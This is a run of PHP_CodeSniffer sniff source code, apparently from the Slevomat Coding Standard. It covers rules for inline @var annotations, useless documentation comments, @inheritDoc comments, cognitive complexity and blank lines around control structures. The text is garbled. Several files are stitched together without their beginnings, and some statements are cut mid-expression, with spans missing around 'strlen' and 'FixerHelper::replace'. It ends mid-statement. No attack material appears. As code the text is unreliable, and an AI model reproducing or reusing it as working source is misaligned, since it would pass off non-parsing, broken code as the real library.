'Invalid inline documentation comment format "@var %1$s", expected "@var type %2$s Optional description".', $annotationContent, $variableName, ), $annotation->getStartPointer(), self::CODE_INVALID_FORMAT, ); continue; } $fix = $phpcsFile->addFixableError( sprintf( 'Invalid inline documentation comment format "@var %1$s", expected "@var %2$s %3$s".', $annotationContent, $type, $variableName, ), $annotation->getStartPointer(), self::CODE_INVALID_FORMAT, ); if (!$fix) { continue; } $phpcsFile->fixer->beginChangeset(); FixerHelper::add( $phpcsFile, $annotation->getStartPointer(), sprintf( ' %s %s ', $type, $variableName, ), ); FixerHelper::removeBetweenIncluding($phpcsFile, $annotation->getStartPointer() + 1, $annotation->getEndPointer()); $phpcsFile->fixer->endChangeset(); } } /** * @param list> $annotations */ private function checkVariable(File $phpcsFile, array $annotations, int $docCommentOpenerPointer, int $docCommentCloserPointer): void { $tokens = $phpcsFile->getTokens(); $checkedTokens = [T_VARIABLE, T_FOREACH, T_WHILE, T_LIST, T_OPEN_SHORT_ARRAY, T_CLOSURE, T_FN]; $variableNames = []; foreach ($annotations as $variableAnnotation) { if ($variableAnnotation->isInvalid()) { continue; } $variableName = $variableAnnotation->getValue()->variableName; if ($variableName === '') { continue; } $variableNames[] = $variableName; } $improveCodePointer = function (int $codePointer) use ($phpcsFile, $tokens, $checkedTokens, $variableNames): int { $shouldSearchClosure = false; if (!in_array($tokens[$codePointer]['code'], $checkedTokens, true)) { $shouldSearchClosure = true; } elseif ( $tokens[$codePointer]['code'] === T_VARIABLE && ( !$this->isAssignment($phpcsFile, $codePointer) || !in_array($tokens[$codePointer]['content'], $variableNames, true) ) ) { $shouldSearchClosure = true; } if (!$shouldSearchClosure) { return $codePointer; } $closurePointer = TokenHelper::findNext($phpcsFile, [T_CLOSURE, T_FN], $codePointer + 1); if ($closurePointer !== null && $tokens[$codePointer]['line'] === $tokens[$closurePointer]['line']) { return $closurePointer; } return $codePointer; }; $firstPointerOnNextLine = TokenHelper::findFirstNonWhitespaceOnNextLine($phpcsFile, $docCommentCloserPointer); $codePointerAfter = $firstPointerOnNextLine; while ($codePointerAfter !== null && $tokens[$codePointerAfter]['code'] === T_DOC_COMMENT_OPEN_TAG) { $codePointerAfter = TokenHelper::findFirstNonWhitespaceOnNextLine($phpcsFile, $codePointerAfter + 1); } if ($codePointerAfter !== null) { if ($tokens[$codePointerAfter]['code'] === T_STATIC) { $codePointerAfter = TokenHelper::findNextEffective($phpcsFile, $codePointerAfter + 1); } $codePointerAfter = $improveCodePointer($codePointerAfter); } $codePointerBefore = TokenHelper::findFirstNonWhitespaceOnPreviousLine($phpcsFile, $docCommentOpenerPointer); while ($codePointerBefore !== null && $tokens[$codePointerBefore]['code'] === T_DOC_COMMENT_OPEN_TAG) { $codePointerBefore = TokenHelper::findFirstNonWhitespaceOnPreviousLine($phpcsFile, $codePointerBefore - 1); } if ($codePointerBefore !== null) { $codePointerBefore = $improveCodePointer($codePointerBefore); } foreach ($annotations as $variableAnnotation) { if ($variableAnnotation->isInvalid()) { continue; } $variableName = $variableAnnotation->getValue()->variableName; if ($variableName === '') { continue; } $missingVariableErrorParameters = [ sprintf('Missing variable %s before or after the documentation comment.', $variableName), $docCommentOpenerPointer, self::CODE_MISSING_VARIABLE, ]; $noAssignmentErrorParameters = [ sprintf('No assignment to %s variable before or after the documentation comment.', $variableName), $docCommentOpenerPointer, self::CODE_NO_ASSIGNMENT, ]; if ($this->allowAboveNonAssignment && $firstPointerOnNextLine !== null) { for ($i = $firstPointerOnNextLine; $i < count($tokens); $i++) { if ($tokens[$i]['line'] > $tokens[$firstPointerOnNextLine]['line']) { break; } if ($tokens[$i]['code'] !== T_VARIABLE) { continue; } if ($tokens[$i]['content'] === $variableName) { return; } } } foreach ([1 => $codePointerBefore, 2 => $codePointerAfter] as $tryNo => $codePointer) { if ($codePointer === null || !in_array($tokens[$codePointer]['code'], $checkedTokens, true)) { if ($tryNo === 2) { $phpcsFile->addError(...$missingVariableErrorParameters); } continue; } if ($tokens[$codePointer]['code'] === T_VARIABLE) { if ($tokens[$codePointer]['content'] !== '$this' && !$this->isAssignment($phpcsFile, $codePointer)) { if ($tryNo === 2) { $phpcsFile->addError(...$noAssignmentErrorParameters); } continue; } if ($variableName !== $tokens[$codePointer]['content']) { if ($tryNo === 2) { $phpcsFile->addError(...$missingVariableErrorParameters); } continue; } } elseif ($tokens[$codePointer]['code'] === T_LIST) { $listParenthesisOpener = TokenHelper::findNextEffective($phpcsFile, $codePointer + 1); $variablePointerInList = TokenHelper::findNextContent( $phpcsFile, T_VARIABLE, $variableName, $listParenthesisOpener + 1, $tokens[$listParenthesisOpener]['parenthesis_closer'], ); if ($variablePointerInList === null) { if ($tryNo === 2) { $phpcsFile->addError(...$missingVariableErrorParameters); } continue; } } elseif ($tokens[$codePointer]['code'] === T_OPEN_SHORT_ARRAY) { $pointerAfterList = TokenHelper::findNextEffective($phpcsFile, $tokens[$codePointer]['bracket_closer'] + 1); if ($tokens[$pointerAfterList]['code'] !== T_EQUAL) { if ($tryNo === 2) { $phpcsFile->addError(...$noAssignmentErrorParameters); } continue; } $variablePointerInList = TokenHelper::findNextContent( $phpcsFile, T_VARIABLE, $variableName, $codePointer + 1, $tokens[$codePointer]['bracket_closer'], ); if ($variablePointerInList === null) { if ($tryNo === 2) { $phpcsFile->addError(...$missingVariableErrorParameters); } continue; } } elseif (in_array($tokens[$codePointer]['code'], [T_CLOSURE, T_FN], true)) { $parameterPointer = TokenHelper::findNextContent( $phpcsFile, T_VARIABLE, $variableName, $tokens[$codePointer]['parenthesis_opener'] + 1, $tokens[$codePointer]['parenthesis_closer'], ); if ($parameterPointer === null) { if ($tryNo === 2) { $phpcsFile->addError(...$missingVariableErrorParameters); } continue; } } else { if ($tokens[$codePointer]['code'] === T_WHILE) { $variablePointerInWhile = TokenHelper::findNextContent( $phpcsFile, T_VARIABLE, $variableName, $tokens[$codePointer]['parenthesis_opener'] + 1, $tokens[$codePointer]['parenthesis_closer'], ); if ($variablePointerInWhile === null) { if ($tryNo === 2) { $phpcsFile->addError(...$missingVariableErrorParameters); } continue; } $pointerAfterVariableInWhile = TokenHelper::findNextEffective($phpcsFile, $variablePointerInWhile + 1); if ($tokens[$pointerAfterVariableInWhile]['code'] !== T_EQUAL) { if ($tryNo === 2) { $phpcsFile->addError(...$noAssignmentErrorParameters); } continue; } } else { $asPointer = TokenHelper::findNext( $phpcsFile, T_AS, $tokens[$codePointer]['parenthesis_opener'] + 1, $tokens[$codePointer]['parenthesis_closer'], ); $variablePointerInForeach = TokenHelper::findNextContent( $phpcsFile, T_VARIABLE, $variableName, $asPointer + 1, $tokens[$codePointer]['parenthesis_closer'], ); if ($variablePointerInForeach === null) { if ($tryNo === 2) { $phpcsFile->addError(...$missingVariableErrorParameters); } continue; } } } // No error, don't check second $codePointer continue 2; } } } private function isAssignment(File $phpcsFile, int $pointer): bool { $tokens = $phpcsFile->getTokens(); $pointerAfterVariable = TokenHelper::findNextEffective($phpcsFile, $pointer + 1); if ($tokens[$pointerAfterVariable]['code'] === T_SEMICOLON) { $pointerBeforeVariable = TokenHelper::findPreviousEffective($phpcsFile, $pointer - 1); return $tokens[$pointerBeforeVariable]['code'] === T_STATIC; } return in_array($tokens[$pointerAfterVariable]['code'], [T_EQUAL, T_COALESCE_EQUAL], true); } } addFixableError($error, $docCommentStartPointer, self::CODE_MULTI_LINE_DOC_COMMENT); } } findNext(T_VARIABLE, $docCommentStartPointer); return $phpcsFile->addFixableError( sprintf($error, PropertyHelper::getFullyQualifiedName($phpcsFile, $propertyPointer)), $docCommentStartPointer, self::CODE_MULTI_LINE_PROPERTY_COMMENT, ); } } */ public array $traversableTypeHints = []; /** @var list|null */ private ?array $normalizedTraversableTypeHints = null; /** * @return array */ public function register(): array { return [ T_FUNCTION, ]; } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $functionPointer */ public function process(File $phpcsFile, $functionPointer): void { if (!DocCommentHelper::hasDocComment($phpcsFile, $functionPointer)) { return; } if (DocCommentHelper::hasInheritdocAnnotation($phpcsFile, $functionPointer)) { return; } if (DocCommentHelper::hasDocCommentDescription($phpcsFile, $functionPointer)) { return; } $returnTypeHint = FunctionHelper::findReturnTypeHint($phpcsFile, $functionPointer); $returnAnnotation = FunctionHelper::findReturnAnnotation($phpcsFile, $functionPointer); if ( $returnAnnotation !== null && !AnnotationHelper::isAnnotationUseless( $phpcsFile, $functionPointer, $returnTypeHint, $returnAnnotation, $this->getTraversableTypeHints(), ) ) { return; } $parameterTypeHints = FunctionHelper::getParametersTypeHints($phpcsFile, $functionPointer); $parametersAnnotations = FunctionHelper::getValidParametersAnnotations($phpcsFile, $functionPointer); foreach ($parametersAnnotations as $parameterName => $parameterAnnotation) { if (!array_key_exists($parameterName, $parameterTypeHints)) { return; } if (!AnnotationHelper::isAnnotationUseless( $phpcsFile, $functionPointer, $parameterTypeHints[$parameterName], $parameterAnnotation, $this->getTraversableTypeHints(), )) { return; } } foreach (AnnotationHelper::getAnnotations($phpcsFile, $functionPointer) as $annotation) { if (!in_array($annotation->getName(), ['@param', '@return'], true)) { return; } } $fix = $phpcsFile->addFixableError( sprintf( '%s %s() does not need documentation comment.', FunctionHelper::getTypeLabel($phpcsFile, $functionPointer), FunctionHelper::getFullyQualifiedName($phpcsFile, $functionPointer), ), $functionPointer, self::CODE_USELESS_DOC_COMMENT, ); if (!$fix) { return; } /** @var int $docCommentOpenPointer */ $docCommentOpenPointer = DocCommentHelper::findDocCommentOpenPointer($phpcsFile, $functionPointer); $docCommentClosePointer = $phpcsFile->getTokens()[$docCommentOpenPointer]['comment_closer']; $changeStart = $docCommentOpenPointer; /** @var int $changeEnd */ $changeEnd = TokenHelper::findNextEffective($phpcsFile, $docCommentClosePointer + 1) - 1; $phpcsFile->fixer->beginChangeset(); FixerHelper::removeBetweenIncluding($phpcsFile, $changeStart, $changeEnd); $phpcsFile->fixer->endChangeset(); } /** * @return list */ private function getTraversableTypeHints(): array { $this->normalizedTraversableTypeHints ??= array_map( static fn (string $typeHint): string => NamespaceHelper::isFullyQualifiedName($typeHint) ? $typeHint : sprintf('%s%s', NamespaceHelper::NAMESPACE_SEPARATOR, $typeHint), SniffSettingsHelper::normalizeArray($this->traversableTypeHints), ); return $this->normalizedTraversableTypeHints; } } */ public function register(): array { return [ T_DOC_COMMENT_OPEN_TAG, ]; } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $docCommentOpenPointer */ public function process(File $phpcsFile, $docCommentOpenPointer): void { $tokens = $phpcsFile->getTokens(); $docCommentContent = ''; for ($i = $docCommentOpenPointer + 1; $i < $tokens[$docCommentOpenPointer]['comment_closer']; $i++) { if (in_array($tokens[$i]['code'], [T_DOC_COMMENT_WHITESPACE, T_DOC_COMMENT_STAR], true)) { continue; } $docCommentContent .= $tokens[$i]['content']; } if (preg_match('~^(?:\{@inheritDoc\}|@inheritDoc)$~i', $docCommentContent) === 0) { return; } $searchPointer = $tokens[$docCommentOpenPointer]['comment_closer'] + 1; do { $docCommentOwnerPointer = TokenHelper::findNext( $phpcsFile, [...TokenHelper::FUNCTION_TOKEN_CODES, ...TokenHelper::TYPE_HINT_TOKEN_CODES, T_ATTRIBUTE], $searchPointer, ); if ($docCommentOwnerPointer === null) { return; } if ($tokens[$docCommentOwnerPointer]['code'] === T_ATTRIBUTE) { $searchPointer = $tokens[$docCommentOwnerPointer]['attribute_closer'] + 1; continue; } break; } while (true); if (in_array($tokens[$docCommentOwnerPointer]['code'], TokenHelper::FUNCTION_TOKEN_CODES, true)) { $returnTypeHint = FunctionHelper::findReturnTypeHint($phpcsFile, $docCommentOwnerPointer); if ($returnTypeHint === null) { return; } if (TypeHintHelper::isSimpleIterableTypeHint($returnTypeHint->getTypeHintWithoutNullabilitySymbol())) { return; } $parametersTypeHints = FunctionHelper::getParametersTypeHints($phpcsFile, $docCommentOwnerPointer); foreach ($parametersTypeHints as $parameterTypeHint) { if ($parameterTypeHint === null) { return; } if (TypeHintHelper::isSimpleIterableTypeHint($parameterTypeHint->getTypeHint())) { return; } } } $fix = $phpcsFile->addFixableError( 'Useless documentation comment with @inheritDoc.', $docCommentOpenPointer, self::CODE_USELESS_INHERIT_DOC_COMMENT, ); if (!$fix) { return; } /** @var int $fixerStart */ $fixerStart = TokenHelper::findLastTokenOnPreviousLine($phpcsFile, $docCommentOpenPointer); $phpcsFile->fixer->beginChangeset(); FixerHelper::removeBetweenIncluding($phpcsFile, $fixerStart, $tokens[$docCommentOpenPointer]['comment_closer']); $phpcsFile->fixer->endChangeset(); } } T_CATCH, T_DO => T_DO, T_ELSE => T_ELSE, T_ELSEIF => T_ELSEIF, T_FOR => T_FOR, T_FOREACH => T_FOREACH, T_IF => T_IF, T_SWITCH => T_SWITCH, T_WHILE => T_WHILE, ]; private const BOOLEAN_OPERATORS = [ T_BOOLEAN_AND => T_BOOLEAN_AND, T_BOOLEAN_OR => T_BOOLEAN_OR, ]; private const OPERATOR_CHAIN_BREAKS = [ T_OPEN_PARENTHESIS => T_OPEN_PARENTHESIS, T_CLOSE_PARENTHESIS => T_CLOSE_PARENTHESIS, T_SEMICOLON => T_SEMICOLON, T_INLINE_THEN => T_INLINE_THEN, T_INLINE_ELSE => T_INLINE_ELSE, ]; /** * B3. Nesting increments */ private const NESTING_INCREMENTS = [ T_CLOSURE => T_CLOSURE, // increments, but does not receive T_ELSEIF => T_ELSEIF, // increments, but does not receive T_ELSE => T_ELSE, T_IF => T_IF, T_INLINE_THEN => T_INLINE_THEN, T_SWITCH => T_SWITCH, T_FOR => T_FOR, T_FOREACH => T_FOREACH, T_WHILE => T_WHILE, T_DO => T_DO, T_CATCH => T_CATCH, ]; /** * B1. Increments */ private const BREAKING_TOKENS = [ T_CONTINUE => T_CONTINUE, T_GOTO => T_GOTO, T_BREAK => T_BREAK, ]; /** * @deprecated * @var ?int maximum allowed complexity */ public ?int $maxComplexity = null; /** @var int complexity which will raise warning */ public int $warningThreshold = 6; /** @var int complexity which will raise error */ public int $errorThreshold = 6; private int $cognitiveComplexity = 0; /** @var int|string */ private $lastBooleanOperator = 0; private File $phpcsFile; /** * @return array */ public function register(): array { return [ T_CLOSURE, T_FUNCTION, ]; } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $stackPtr */ public function process(File $phpcsFile, $stackPtr): void { $this->phpcsFile = $phpcsFile; if ($phpcsFile->getCondition($stackPtr, T_FUNCTION) !== false) { return; } if ($this->maxComplexity !== null) { // maxComplexity is deprecated... if set use it $this->warningThreshold = $this->maxComplexity + 1; $this->errorThreshold = $this->maxComplexity + 1; } $cognitiveComplexity = $this->computeForFunctionFromTokensAndPosition($stackPtr); if ($cognitiveComplexity < $this->warningThreshold) { return; } $name = $phpcsFile->getDeclarationName($stackPtr); $errorParameters = [ 'Cognitive complexity for "%s" is %d but has to be less than or equal to %d.', $stackPtr, self::CODE_COMPLEXITY, [ $name, $cognitiveComplexity, $this->warningThreshold - 1, ], ]; $cognitiveComplexity >= $this->errorThreshold ? $phpcsFile->addError(...$errorParameters) : $phpcsFile->addWarning(...$errorParameters); } public function computeForFunctionFromTokensAndPosition(int $position): int { if (FunctionHelper::isAbstract($this->phpcsFile, $position)) { return 0; } $tokens = $this->phpcsFile->getTokens(); // Detect start and end of this function definition $functionStartPosition = $tokens[$position]['scope_opener']; $functionEndPosition = $tokens[$position]['scope_closer']; $this->lastBooleanOperator = 0; $this->cognitiveComplexity = 0; /* Keep track of parser's level stack We push to this stak whenever we encounter a Tokens::$scopeOpeners */ $levelStack = []; /* We look for changes in token[level] to know when to remove from the stack however ['level'] only increases when there are tokens inside {} after pushing to the stack watch for a level change */ $levelIncreased = false; for ($i = $functionStartPosition + 1; $i < $functionEndPosition; $i++) { $currentToken = $tokens[$i]; $isNestingToken = false; if (in_array($currentToken['code'], Tokens::$scopeOpeners, true)) { $isNestingToken = true; if ($levelIncreased === false && count($levelStack) > 0) { // parser's level never increased // caused by empty condition such as `if ($x) { }` array_pop($levelStack); } $levelStack[] = $currentToken; $levelIncreased = false; } elseif (isset($tokens[$i - 1]) && $currentToken['level'] < $tokens[$i - 1]['level']) { $diff = $tokens[$i - 1]['level'] - $currentToken['level']; array_splice($levelStack, 0 - $diff); } elseif (isset($tokens[$i - 1]) && $currentToken['level'] > $tokens[$i - 1]['level']) { $levelIncreased = true; } $this->resolveBooleanOperatorChain($currentToken); if (!$this->isIncrementingToken($currentToken, $tokens, $i)) { continue; } $this->cognitiveComplexity++; $addNestingIncrement = isset(self::NESTING_INCREMENTS[$currentToken['code']]) && in_array($currentToken['code'], [T_ELSEIF, T_ELSE], true) === false; if (!$addNestingIncrement) { continue; } $measuredNestingLevel = count( array_filter($levelStack, static fn (array $token) => in_array($token['code'], self::NESTING_INCREMENTS, true)), ); if ($isNestingToken) { $measuredNestingLevel--; } // B3. Nesting increment if ($measuredNestingLevel > 0) { $this->cognitiveComplexity += $measuredNestingLevel; } } return $this->cognitiveComplexity; } protected function isPartOfDo(File $phpcsFile, int $whilePointer): bool { $tokens = $phpcsFile->getTokens(); $parenthesisCloserPointer = $tokens[$whilePointer]['parenthesis_closer']; $pointerAfterParenthesisCloser = TokenHelper::findNextEffective($phpcsFile, $parenthesisCloserPointer + 1); return $tokens[$pointerAfterParenthesisCloser]['code'] !== T_OPEN_CURLY_BRACKET; } /** * Keep track of consecutive matching boolean operators, that don't receive increment. * * @param array{code:int|string} $token */ private function resolveBooleanOperatorChain(array $token): void { $code = $token['code']; // Whenever we cross anything that interrupts possible condition we reset chain. if ($this->lastBooleanOperator > 0 && isset(self::OPERATOR_CHAIN_BREAKS[$code])) { $this->lastBooleanOperator = 0; return; } if (isset(self::BOOLEAN_OPERATORS[$code]) === false) { return; } // If we match last operator, there is no increment added for current one. if ($this->lastBooleanOperator === $code) { return; } $this->cognitiveComplexity++; $this->lastBooleanOperator = $code; } /** * @param array{code:int|string} $token * @param array|int|string>> $tokens */ private function isIncrementingToken(array $token, array $tokens, int $position): bool { $code = $token['code']; if (isset(self::INCREMENTS[$code])) { return $token['code'] === T_WHILE ? !$this->isPartOfDo($this->phpcsFile, $position) : true; } // B1. ternary operator if ($code === T_INLINE_THEN) { return true; } // B1. goto LABEL, break LABEL, continue LABEL if (isset(self::BREAKING_TOKENS[$code])) { $nextToken = $this->phpcsFile->findNext(Tokens::$emptyTokens, $position + 1, null, true); if ($nextToken === false || $tokens[$nextToken]['code'] !== T_SEMICOLON) { return true; } } return false; } } |null */ private ?array $tokensToCheck = null; /** * @return list */ abstract protected function getSupportedKeywords(): array; /** * @return list */ abstract protected function getKeywordsToCheck(): array; abstract protected function getLinesCountBefore(): int; abstract protected function getLinesCountBeforeFirst(File $phpcsFile, int $controlStructurePointer): int; abstract protected function getLinesCountAfter(): int; abstract protected function getLinesCountAfterLast(File $phpcsFile, int $controlStructurePointer, int $controlStructureEndPointer): int; /** * @return array */ public function register(): array { return $this->getTokensToCheck(); } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $controlStructurePointer */ public function process(File $phpcsFile, $controlStructurePointer): void { $this->checkLinesBefore($phpcsFile, $controlStructurePointer); try { $this->checkLinesAfter($phpcsFile, $controlStructurePointer); } catch (Throwable $e) { // Unsupported syntax without curly braces. return; } } protected function checkLinesBefore(File $phpcsFile, int $controlStructurePointer): void { $tokens = $phpcsFile->getTokens(); if (in_array($tokens[$controlStructurePointer]['code'], [T_CASE, T_DEFAULT], true)) { $pointerBefore = TokenHelper::findPreviousEffective($phpcsFile, $controlStructurePointer - 1); if ($tokens[$pointerBefore]['code'] === T_COLON) { return; } } $nonWhitespacePointerBefore = TokenHelper::findPreviousNonWhitespace($phpcsFile, $controlStructurePointer - 1); $controlStructureStartPointer = $controlStructurePointer; $pointerBefore = $nonWhitespacePointerBefore; $pointerToCheckFirst = $pointerBefore; if (in_array($tokens[$nonWhitespacePointerBefore]['code'], Tokens::$commentTokens, true)) { $effectivePointerBefore = TokenHelper::findPreviousEffective($phpcsFile, $pointerBefore - 1); if ($tokens[$effectivePointerBefore]['line'] === $tokens[$nonWhitespacePointerBefore]['line']) { $pointerToCheckFirst = $effectivePointerBefore; } elseif ($tokens[$nonWhitespacePointerBefore]['line'] + 1 === $tokens[$controlStructurePointer]['line']) { if ($tokens[$effectivePointerBefore]['line'] !== $tokens[$nonWhitespacePointerBefore]['line']) { $controlStructureStartPointer = array_key_exists('comment_opener', $tokens[$nonWhitespacePointerBefore]) ? $tokens[$nonWhitespacePointerBefore]['comment_opener'] : CommentHelper::getMultilineCommentStartPointer($phpcsFile, $nonWhitespacePointerBefore); $pointerBefore = TokenHelper::findPreviousNonWhitespace($phpcsFile, $controlStructureStartPointer - 1); } $pointerToCheckFirst = $pointerBefore; } } $isFirstControlStructure = in_array($tokens[$pointerToCheckFirst]['code'], [T_OPEN_CURLY_BRACKET, T_COLON], true); $whitespaceBefore = ''; if ($tokens[$pointerBefore]['code'] === T_OPEN_TAG) { $whitespaceBefore .= substr($tokens[$pointerBefore]['content'], strlen('eolChar)) === $phpcsFile->eolChar; if ($hasCommentWithLineEndBefore) { $whitespaceBefore .= $phpcsFile->eolChar; } if ($pointerBefore + 1 !== $controlStructurePointer) { $whitespaceBefore .= TokenHelper::getContent($phpcsFile, $pointerBefore + 1, $controlStructureStartPointer - 1); } $requiredLinesCountBefore = $isFirstControlStructure ? $this->getLinesCountBeforeFirst($phpcsFile, $controlStructurePointer) : $this->getLinesCountBefore(); $actualLinesCountBefore = substr_count($whitespaceBefore, $phpcsFile->eolChar) - 1; if ($requiredLinesCountBefore === $actualLinesCountBefore) { return; } $fix = $phpcsFile->addFixableError( sprintf( 'Expected %d line%s before "%s", found %d.', $requiredLinesCountBefore, $requiredLinesCountBefore === 1 ? '' : 's', $tokens[$controlStructurePointer]['content'], $actualLinesCountBefore, ), $controlStructurePointer, $isFirstControlStructure ? self::CODE_INCORRECT_LINES_COUNT_BEFORE_FIRST_CONTROL_STRUCTURE : self::CODE_INCORRECT_LINES_COUNT_BEFORE_CONTROL_STRUCTURE, ); if (!$fix) { return; } $endOfLineBeforePointer = TokenHelper::findPreviousContent( $phpcsFile, T_WHITESPACE, $phpcsFile->eolChar, $controlStructureStartPointer - 1, ); $phpcsFile->fixer->beginChangeset(); if ($tokens[$pointerBefore]['code'] === T_OPEN_TAG) { FixerHelper::replace($phpcsFile, $pointerBefore, 'fixer->addNewline($pointerBefore); } $phpcsFile->fixer->endChangeset(); } protected function checkLinesAfter(File $phpcsFile, int $controlStructurePointer): void { $tokens = $phpcsFile->getTokens(); if (in_array($tokens[$controlStructurePointer]['code'], [T_CASE, T_DEFAULT], true)) { $colonPointer = TokenHelper::findNext($phpcsFile, T_COLON, $controlStructurePointer + 1); $pointerAfterColon = TokenHelper::findNextEffective($phpcsFile, $colonPointer + 1); if (in_array($tokens[$pointerAfterColon]['code'], [T_CASE, T_DEFAULT], true)) { return; } } $controlStructureEndPointer = $this->findControlStructureEnd($phpcsFile, $controlStructurePointer); $pointerAfterControlStructureEnd = TokenHelper::findNextEffective($phpcsFile, $controlStructureEndPointer + 1); if ( $pointerAfterControlStructureEnd !== null && $tokens[$pointerAfterControlStructureEnd]['code'] === T_SEMICOLON ) { $controlStructureEndPointer = $pointerAfterControlStructureEnd; } $notWhitespacePointerAfter = TokenHelper::findNextNonWhitespace($phpcsFile, $controlStructureEndPointer + 1); if ($notWhitespacePointerAfter === null) { return; } $hasCommentAfter = in_array($tokens[$notWhitespacePointerAfter]['code'], Tokens::$commentTokens, true); $isCommentAfterOnSameLine = false; $pointerAfter = $notWhitespacePointerAfter; $isControlStructureEndAfterPointer = static fn (int $pointer): bool => in_array( $tokens[$controlStructurePointer]['code'], [T_CASE, T_DEFAULT], true, ) ? $tokens[$pointer]['code'] === T_CLOSE_CURLY_BRACKET : in_array($tokens[$pointer]['code'], [T_CLOSE_CURLY_BRACKET, T_CASE, T_DEFAULT], true); if ($hasCommentAfter) { if ($tokens[$notWhitespacePointerAfter]['line'] === $tokens[$controlStructureEndPointer]['line'] + 1) { $commentEndPointer = CommentHelper::getCommentEndPointer($phpcsFile, $notWhitespacePointerAfter); $pointerAfterComment = TokenHelper::findNextNonWhitespace($phpcsFile, $commentEndPointer + 1); if ($isControlStructureEndAfterPointer($pointerAfterComment)) { $controlStructureEndPointer = $commentEndPointer; $pointerAfter = $pointerAfterComment; } } elseif ($tokens[$notWhitespacePointerAfter]['line'] === $tokens[$controlStructureEndPointer]['line']) { $isCommentAfterOnSameLine = true; $pointerAfter = TokenHelper::findNextNonWhitespace($phpcsFile, $notWhitespacePointerAfter + 1); } } $isLastControlStructure = $isControlStructureEndAfterPointer($pointerAfter); $requiredLinesCountAfter = $isLastControlStructure ? $this->getLinesCountAfterLast($phpcsFile, $controlStructurePointer, $controlStructureEndPointer) : $this->getLinesCountAfter(); $actualLinesCountAfter = $tokens[$pointerAfter]['line'] - $tokens[$controlStructureEndPointer]['line'] - 1; if ($requiredLinesCountAfter === $actualLinesCountAfter) { return; } $fix = $phpcsFile->addFixableError( sprintf( 'Expected %d line%s after "%s", found %d.', $requiredLinesCountAfter, $requiredLinesCountAfter === 1 ? '' : 's', $tokens[$controlStructurePointer]['content'], $actualLinesCountAfter, ), $controlStructurePointer, $isLastControlStructure ? self::CODE_INCORRECT_LINES_COUNT_AFTER_LAST_CONTROL_STRUCTURE : self::CODE_INCORRECT_LINES_COUNT_AFTER_CONTROL_STRUCTURE, ); if (!$fix) { return; } $replaceStartPointer = $isCommentAfterOnSameLine ? $notWhitespacePointerAfter : $controlStructureEndPointer; $endOfLineBeforeAfterPointer = TokenHelper::findLastTokenOnPreviousLine($phpcsFile, $pointerAfter); $phpcsFile->fixer->beginChangeset(); FixerHelper::removeBetweenIncluding($phpcsFile, $replaceStartPointer + 1, $endOfLineBeforeAfterPointer); if ($isCommentAfterOnSameLine) { for ($i = 0; $i < $requiredLinesCountAfter; $i++) { $phpcsFile->fixer->addNewline($notWhitespacePointerAfter); } } else { $linesToAdd = substr($tokens[$controlStructureEndPointer]['content'], -strlen($phpcsFile->eolChar)) === $phpcsFile->eolChar ? $requiredLinesCountAfter - 1 : $requiredLinesCountAfter; for ($i = 0; $i <= $linesToAdd; $i++) { $phpcsFile->fixer->addNewline($controlStructureEndPointer); } } $phpcsFile->fixer->endChangeset(); } /** * @return array */ private function getTokensToCheck(): array { if ($this->tokensToCheck === null) { $supportedKeywords = $this->getSupportedKeywords(); $supportedTokens = [ self::KEYWORD_IF => T_IF, self::KEYWORD_DO => T_DO, self::KEYWORD_WHILE => T_WHILE, self::KEYWORD_FOR => T_FOR, self::KEYWORD_FOREACH => T_FOREACH, self::KEYWORD_SWITCH => T_SWITCH, self::KEYWORD_CASE => T_CASE, self::KEYWORD_DEFAULT => T_DEFAULT, self::KEYWORD_TRY => T_TRY, self::KEYWORD_PARENT => T_PARENT, self::KEYWORD_GOTO => T_GOTO, self::KEYWORD_BREAK => T_BREAK, self::KEYWORD_CONTINUE => T_CONTINUE, self::KEYWORD_RETURN => T_RETURN, self::KEYWORD_THROW => T_THROW, self::KEYWORD_YIELD => T_YIELD, self::KEYWORD_YIELD_FROM => T_YIELD_FROM, ]; $this->tokensToCheck = array_map( static function (string $keyword) use ($supportedKeywords, $supportedTokens) { if (!in_array($keyword, $supportedKeywords, true)) { throw new UnsupportedKeywordException($keyword); } return $supportedTokens[$keyword]; }, SniffSettingsHelper::normalizeArray($this->getKeywordsToCheck()), ); if (count($this->tokensToCheck) === 0) { $this->tokensToCheck = array_map(static fn (string $keyword) => $supportedTokens[$keyword], $supportedKeywords); } } return $this->tokensToCheck; } private function findControlStructureEnd(File $phpcsFile, int $controlStructurePointer): int { $tokens = $phpcsFile->getTokens(); if ($tokens[$controlStructurePointer]['code'] === T_IF) { if (!array_key_exists('scope_closer', $tokens[$controlStructurePointer])) { throw new Exception('"if" without curly braces is not supported.'); } $pointerAfterParenthesisCloser = TokenHelper::findNextEffective( $phpcsFile, $tokens[$controlStructurePointer]['parenthesis_closer'] + 1, ); if ($pointerAfterParenthesisCloser !== null && $tokens[$pointerAfterParenthesisCloser]['code'] === T_COLON) { throw new Exception('"if" without curly braces is not supported.'); } $controlStructureEndPointer = $tokens[$controlStructurePointer]['scope_closer']; do { $nextPointer = TokenHelper::findNextEffective($phpcsFile, $controlStructureEndPointer + 1); if ($nextPointer === null) { return $controlStructureEndPointer; } if ($tokens[$nextPointer]['code'] === T_ELSE) { if (!array_key_exists('scope_closer', $tokens[$nextPointer])) { throw new Exception('"else" without curly braces is not supported.'); } return $tokens[$nextPointer]['scope_closer']; } if ($tokens[$nextPointer]['code'] !== T_ELSEIF) { return $controlStructureEndPointer; } $controlStructureEndPointer = $tokens[$nextPointer]['scope_closer']; } while (true); } if ($tokens[$controlStructurePointer]['code'] === T_DO) { $whilePointer = TokenHelper::findNext($phpcsFile, T_WHILE, $tokens[$controlStructurePointer]['scope_closer'] + 1); return (int) TokenHelper::findNext($phpcsFile, T_SEMICOLON, $tokens[$whilePointer]['parenthesis_closer'] + 1); } if ($tokens[$controlStructurePointer]['code'] === T_TRY) { $controlStructureEndPointer = $tokens[$controlStructurePointer]['scope_closer']; do { $nextPointer = TokenHelper::findNextEffective($phpcsFile, $controlStructureEndPointer + 1); if ($nextPointer === null) { return $controlStructureEndPointer; } if (!in_array($tokens[$nextPointer]['code'], [T_CATCH, T_FINALLY], true)) { return $controlStructureEndPointer; } $controlStructureEndPointer = $tokens[$nextPointer]['scope_closer']; } while (true); } if 